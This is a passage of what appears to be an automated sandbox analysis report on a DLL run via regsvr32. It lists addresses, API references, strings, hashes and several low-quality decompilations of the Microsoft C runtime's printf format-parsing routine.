0x7fef9d3bfaa
0x7fef9d3bfac
0x7fef9d3bfae
0x7fef9d3bfb9
0x7fef9d3bfbe
0x7fef9d3bfc7
0x7fef9d3bfcb
0x7fef9d3bfd1
0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
0, xrefs: 000007FEF9D3BD31
_output_s_l, xrefs: 000007FEF9D3BAFB

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameter
String ID: ("Incorrect format specifier", 0)$0$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 530996419-4087627031
Opcode ID: 287329bbe28ac3486ddbb9e235f19a10cbf988fa35318df4d11335d2ff3f0aeb
Instruction ID: f671f2f81670ff54d1d55a26610e2e3881df7bf560f190d6bc7d2e9ce8938301
Opcode Fuzzy Hash: 287329bbe28ac3486ddbb9e235f19a10cbf988fa35318df4d11335d2ff3f0aeb
Instruction Fuzzy Hash: 8B517E72A0D6C28AF3F18B64E855BBEB7E4F384345F600126D2C9869A9DB7DE540CF10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DCA8 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 111
COMMON

Download Yara Rule

C-Code - Quality: 27%

			E000007FE7FEF9D3DCA8(signed int _a80, signed int _a88, intOrPtr _a116, signed int _a1208, intOrPtr _a1216, signed int _a1404, signed int _a1408, signed int _a1412, signed short* _a1544, char _a1560) {
				void* _t171;
				char* _t191;
				char* _t192;

				_a1404 = _a1208 & 0x0000ffff;
				if (_a1404 == 0x20) goto 0xf9d3dd05;
				if (_a1404 == 0x23) goto 0xf9d3dd12;
				if (_a1404 == 0x2b) goto 0xf9d3dcf8;
				if (_a1404 == 0x2d) goto 0xf9d3dceb;
				if (_a1404 == 0x30) goto 0xf9d3dd20;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000004;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000001;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000002;
				goto 0xf9d3dd2b;
				asm("bts eax, 0x7");
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000008;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3dd6c;
				_t191 =  &_a1560;
				_a88 = E000007FE7FEF9D31E40(_t191);
				if (_a88 >= 0) goto 0xf9d3dd6a;
				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3dd83;
				_a88 = _t171 + _t191 - 0x30;
				_a116 = 0;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3ddc4;
				_t192 =  &_a1560;
				_a116 = E000007FE7FEF9D31E40(_t192);
				if (_a116 >= 0) goto 0xf9d3ddc2;
				_a116 = 0xffffffff;
				goto 0xf9d3dddb;
				_a116 = _t171 + _t192 - 0x30;
				_a1408 = _a1208 & 0x0000ffff;
				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dcb0
0x7fef9d3dcbf
0x7fef9d3dcc9
0x7fef9d3dcd3
0x7fef9d3dcdd
0x7fef9d3dce7
0x7fef9d3dce9
0x7fef9d3dcf2
0x7fef9d3dcf6
0x7fef9d3dcff
0x7fef9d3dd03
0x7fef9d3dd0c
0x7fef9d3dd10
0x7fef9d3dd16
0x7fef9d3dd1e
0x7fef9d3dd27
0x7fef9d3dd3b
0x7fef9d3dd3d
0x7fef9d3dd4a
0x7fef9d3dd53
0x7fef9d3dd5c
0x7fef9d3dd66
0x7fef9d3dd6a
0x7fef9d3dd7f
0x7fef9d3dd88
0x7fef9d3dda0
0x7fef9d3dda2
0x7fef9d3ddaf
0x7fef9d3ddb8
0x7fef9d3ddba
0x7fef9d3ddc2
0x7fef9d3ddd7
0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
0, xrefs: 000007FEF9D3DCDF
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
_woutput_s_l, xrefs: 000007FEF9D3DBD6

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameter
String ID: ("Incorrect format specifier", 0)$0$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 530996419-1247675978
Opcode ID: dafc102d997b2a6b976dbf7f56485c8afddec954203f225463beab32e96cec62
Instruction ID: decea58dbdbd6501be5c610137b77bb3c0dc28cbce38a3a9de9bceb14a18b164
Opcode Fuzzy Hash: dafc102d997b2a6b976dbf7f56485c8afddec954203f225463beab32e96cec62
Instruction Fuzzy Hash: 1F510CB2A0C6C68AE7B09B64F8407BEB7E0F385346F600125D6C9869A8D77DE444DF10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BD82 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 26%

			E000007FE7FEF9D3BD82(signed int _a80, signed int _a88, intOrPtr _a116, signed int _a696, intOrPtr _a704, char _a972, signed int _a976, void* _a1096, char _a1112) {
				void* _t139;
				char* _t159;
				char* _t160;

				if (_a696 != 0x2a) goto 0xf9d3bdbe;
				_t159 =  &_a1112;
				_a88 = E000007FE7FEF9D31E40(_t159);
				if (_a88 >= 0) goto 0xf9d3bdbc;
				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3bdd5;
				_a88 = _t139 + _t159 - 0x30;
				_a116 = 0;
				if (_a696 != 0x2a) goto 0xf9d3be16;
				_t160 =  &_a1112;
				_a116 = E000007FE7FEF9D31E40(_t160);
				if (_a116 >= 0) goto 0xf9d3be14;
				_a116 = 0xffffffff;
				goto 0xf9d3be2d;
				_a116 = _t139 + _t160 - 0x30;
				_a972 = _a696 & 0x000000ff;
				if (_a972 == 0x49) goto 0xf9d3beb7;
				if (_a972 == 0x68) goto 0xf9d3bfc0;
				if (_a972 == 0x6c) goto 0xf9d3be76;
				if (_a972 == 0x77) goto 0xf9d3bfcd;
				goto 0xf9d3bfd9;
				if ( *_a1096 != 0x6c) goto 0xf9d3bea7;
				_a1096 = _a1096 + 1;
				asm("bts eax, 0xc");
				goto 0xf9d3beb2;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xf");
				if ( *_a1096 != 0x36) goto 0xf9d3bf09;
				if ( *((char*)(_a1096 + 1)) != 0x34) goto 0xf9d3bf09;
				_a1096 = _a1096 + 2;
				asm("bts eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 != 0x33) goto 0xf9d3bf4c;
				if ( *((char*)(_a1096 + 1)) != 0x32) goto 0xf9d3bf4c;
				_a1096 = _a1096 + 2;
				asm("btr eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 == 0x64) goto 0xf9d3bfac;
				if ( *_a1096 == 0x69) goto 0xf9d3bfac;
				if ( *_a1096 == 0x6f) goto 0xf9d3bfac;
				if ( *_a1096 == 0x75) goto 0xf9d3bfac;
				if ( *_a1096 == 0x78) goto 0xf9d3bfac;
				if ( *_a1096 != 0x58) goto 0xf9d3bfae;
				goto 0xf9d3bfbe;
				_a704 = 0;
				goto E000007FE7FEF9D3BB66;
				goto 0xf9d3bfd9;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xb");
				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3bd8d
0x7fef9d3bd8f
0x7fef9d3bd9c
0x7fef9d3bda5
0x7fef9d3bdae
0x7fef9d3bdb8
0x7fef9d3bdbc
0x7fef9d3bdd1
0x7fef9d3bdda
0x7fef9d3bdf2
0x7fef9d3bdf4
0x7fef9d3be01
0x7fef9d3be0a
0x7fef9d3be0c
0x7fef9d3be14
0x7fef9d3be29
0x7fef9d3be3a
0x7fef9d3be49
0x7fef9d3be53
0x7fef9d3be61
0x7fef9d3be6b
0x7fef9d3be71
0x7fef9d3be84
0x7fef9d3be91
0x7fef9d3be9d
0x7fef9d3bea5
0x7fef9d3beae
0x7fef9d3beb2
0x7fef9d3bebb
0x7fef9d3bed1
0x7fef9d3bee2
0x7fef9d3bef0
0x7fef9d3befc
0x7fef9d3bf04
0x7fef9d3bf17
0x7fef9d3bf28
0x7fef9d3bf36
0x7fef9d3bf42
0x7fef9d3bf4a
0x7fef9d3bf5a
0x7fef9d3bf6a
0x7fef9d3bf7a
0x7fef9d3bf8a
0x7fef9d3bf9a
0x7fef9d3bfaa
0x7fef9d3bfac
0x7fef9d3bfae
0x7fef9d3bfb9
0x7fef9d3bfbe
0x7fef9d3bfc7
0x7fef9d3bfcb
0x7fef9d3bfd1
0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E
get_int_arg.LIBCMTD ref: 000007FEF9D3BD97

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
_output_s_l, xrefs: 000007FEF9D3BAFB

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameterget_int_arg
String ID: ("Incorrect format specifier", 0)$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2576288505-192189897
Opcode ID: b576c27c8c875c1ce4182572011a22670079dadd40bff06c5e4b49d8cc0733f6
Instruction ID: 7af9cebcf9cdbe51cb5c05a1613d0acac690945035c75598d7829d850d960732
Opcode Fuzzy Hash: b576c27c8c875c1ce4182572011a22670079dadd40bff06c5e4b49d8cc0733f6
Instruction Fuzzy Hash: 40515E72A0D6C68AE7F0DB24E8947BEBBE4E384355F600126D2CD869A9DB7DD540CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DD30 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 26%

			E000007FE7FEF9D3DD30(signed int _a80, signed int _a88, intOrPtr _a116, signed int _a1208, intOrPtr _a1216, signed int _a1408, signed int _a1412, signed short* _a1544, char _a1560) {
				void* _t139;
				char* _t159;
				char* _t160;

				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3dd6c;
				_t159 =  &_a1560;
				_a88 = E000007FE7FEF9D31E40(_t159);
				if (_a88 >= 0) goto 0xf9d3dd6a;
				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3dd83;
				_a88 = _t139 + _t159 - 0x30;
				_a116 = 0;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3ddc4;
				_t160 =  &_a1560;
				_a116 = E000007FE7FEF9D31E40(_t160);
				if (_a116 >= 0) goto 0xf9d3ddc2;
				_a116 = 0xffffffff;
				goto 0xf9d3dddb;
				_a116 = _t139 + _t160 - 0x30;
				_a1408 = _a1208 & 0x0000ffff;
				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dd3b
0x7fef9d3dd3d
0x7fef9d3dd4a
0x7fef9d3dd53
0x7fef9d3dd5c
0x7fef9d3dd66
0x7fef9d3dd6a
0x7fef9d3dd7f
0x7fef9d3dd88
0x7fef9d3dda0
0x7fef9d3dda2
0x7fef9d3ddaf
0x7fef9d3ddb8
0x7fef9d3ddba
0x7fef9d3ddc2
0x7fef9d3ddd7
0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
get_int_arg.LIBCMTD ref: 000007FEF9D3DD45

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
_woutput_s_l, xrefs: 000007FEF9D3DBD6

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameterget_int_arg
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2576288505-734865713
Opcode ID: 73e6b479e683be5ecb6b5fbd55da46f8fdb801a5518f0397c70b55b6842a44e9
Instruction ID: f5bf503dfe25a3916c99f1d9d67644448d63221e22ccd8ab12d6653ca93a9968
Opcode Fuzzy Hash: 73e6b479e683be5ecb6b5fbd55da46f8fdb801a5518f0397c70b55b6842a44e9
Instruction Fuzzy Hash: 0E510DB2A0C6C28AE7F09B64E8407BEB7E4F394345F600126E6C9879A9DB7DD445CF14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BDE7 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 94
COMMON

Download Yara Rule

C-Code - Quality: 24%

			E000007FE7FEF9D3BDE7(signed int _a80, intOrPtr _a116, signed int _a696, intOrPtr _a704, char _a972, signed int _a976, void* _a1096, char _a1112) {
				void* _t113;
				char* _t133;

				if (_a696 != 0x2a) goto 0xf9d3be16;
				_t133 =  &_a1112;
				_a116 = E000007FE7FEF9D31E40(_t133);
				if (_a116 >= 0) goto 0xf9d3be14;
				_a116 = 0xffffffff;
				goto 0xf9d3be2d;
				_a116 = _t113 + _t133 - 0x30;
				_a972 = _a696 & 0x000000ff;
				if (_a972 == 0x49) goto 0xf9d3beb7;
				if (_a972 == 0x68) goto 0xf9d3bfc0;
				if (_a972 == 0x6c) goto 0xf9d3be76;
				if (_a972 == 0x77) goto 0xf9d3bfcd;
				goto 0xf9d3bfd9;
				if ( *_a1096 != 0x6c) goto 0xf9d3bea7;
				_a1096 = _a1096 + 1;
				asm("bts eax, 0xc");
				goto 0xf9d3beb2;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xf");
				if ( *_a1096 != 0x36) goto 0xf9d3bf09;
				if ( *((char*)(_a1096 + 1)) != 0x34) goto 0xf9d3bf09;
				_a1096 = _a1096 + 2;
				asm("bts eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 != 0x33) goto 0xf9d3bf4c;
				if ( *((char*)(_a1096 + 1)) != 0x32) goto 0xf9d3bf4c;
				_a1096 = _a1096 + 2;
				asm("btr eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 == 0x64) goto 0xf9d3bfac;
				if ( *_a1096 == 0x69) goto 0xf9d3bfac;
				if ( *_a1096 == 0x6f) goto 0xf9d3bfac;
				if ( *_a1096 == 0x75) goto 0xf9d3bfac;
				if ( *_a1096 == 0x78) goto 0xf9d3bfac;
				if ( *_a1096 != 0x58) goto 0xf9d3bfae;
				goto 0xf9d3bfbe;
				_a704 = 0;
				goto E000007FE7FEF9D3BB66;
				goto 0xf9d3bfd9;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xb");
				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3bdf2
0x7fef9d3bdf4
0x7fef9d3be01
0x7fef9d3be0a
0x7fef9d3be0c
0x7fef9d3be14
0x7fef9d3be29
0x7fef9d3be3a
0x7fef9d3be49
0x7fef9d3be53
0x7fef9d3be61
0x7fef9d3be6b
0x7fef9d3be71
0x7fef9d3be84
0x7fef9d3be91
0x7fef9d3be9d
0x7fef9d3bea5
0x7fef9d3beae
0x7fef9d3beb2
0x7fef9d3bebb
0x7fef9d3bed1
0x7fef9d3bee2
0x7fef9d3bef0
0x7fef9d3befc
0x7fef9d3bf04
0x7fef9d3bf17
0x7fef9d3bf28
0x7fef9d3bf36
0x7fef9d3bf42
0x7fef9d3bf4a
0x7fef9d3bf5a
0x7fef9d3bf6a
0x7fef9d3bf7a
0x7fef9d3bf8a
0x7fef9d3bf9a
0x7fef9d3bfaa
0x7fef9d3bfac
0x7fef9d3bfae
0x7fef9d3bfb9
0x7fef9d3bfbe
0x7fef9d3bfc7
0x7fef9d3bfcb
0x7fef9d3bfd1
0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E
get_int_arg.LIBCMTD ref: 000007FEF9D3BDFC

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
_output_s_l, xrefs: 000007FEF9D3BAFB

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameterget_int_arg
String ID: ("Incorrect format specifier", 0)$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2576288505-192189897
Opcode ID: 4684e22f791ce69839f562b923e995fff9986fe21dc9389a852d4c7307e36990
Instruction ID: 7a8513096c3cb2bd444751f94b1f2e61cedcdb1a9580f93edff9428065c01d53
Opcode Fuzzy Hash: 4684e22f791ce69839f562b923e995fff9986fe21dc9389a852d4c7307e36990
Instruction Fuzzy Hash: 0C415B72A0DAC28AE7F0DB24E8947BEB7E4E384745F600126D6DD869A9DB3DD541CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DD95 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 94
COMMON

Download Yara Rule

C-Code - Quality: 24%

			E000007FE7FEF9D3DD95(signed int _a80, intOrPtr _a116, signed int _a1208, intOrPtr _a1216, signed int _a1408, signed int _a1412, signed short* _a1544, char _a1560) {
				void* _t113;
				char* _t133;

				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3ddc4;
				_t133 =  &_a1560;
				_a116 = E000007FE7FEF9D31E40(_t133);
				if (_a116 >= 0) goto 0xf9d3ddc2;
				_a116 = 0xffffffff;
				goto 0xf9d3dddb;
				_a116 = _t113 + _t133 - 0x30;
				_a1408 = _a1208 & 0x0000ffff;
				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dda0
0x7fef9d3dda2
0x7fef9d3ddaf
0x7fef9d3ddb8
0x7fef9d3ddba
0x7fef9d3ddc2
